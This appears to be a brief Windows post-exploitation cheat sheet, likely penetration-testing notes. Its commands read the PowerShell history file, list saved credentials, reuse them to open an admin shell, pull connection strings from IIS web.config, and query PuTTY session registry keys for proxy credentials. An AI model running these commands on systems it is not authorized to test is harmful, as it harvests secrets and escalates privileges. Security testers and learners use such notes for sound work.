Poweshell History

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Windows Credentials

cmdkey /list

runas /savecred /user:admin cmd.exe

IIS Config

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Retrieve Credentials from Software: PuTTY

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s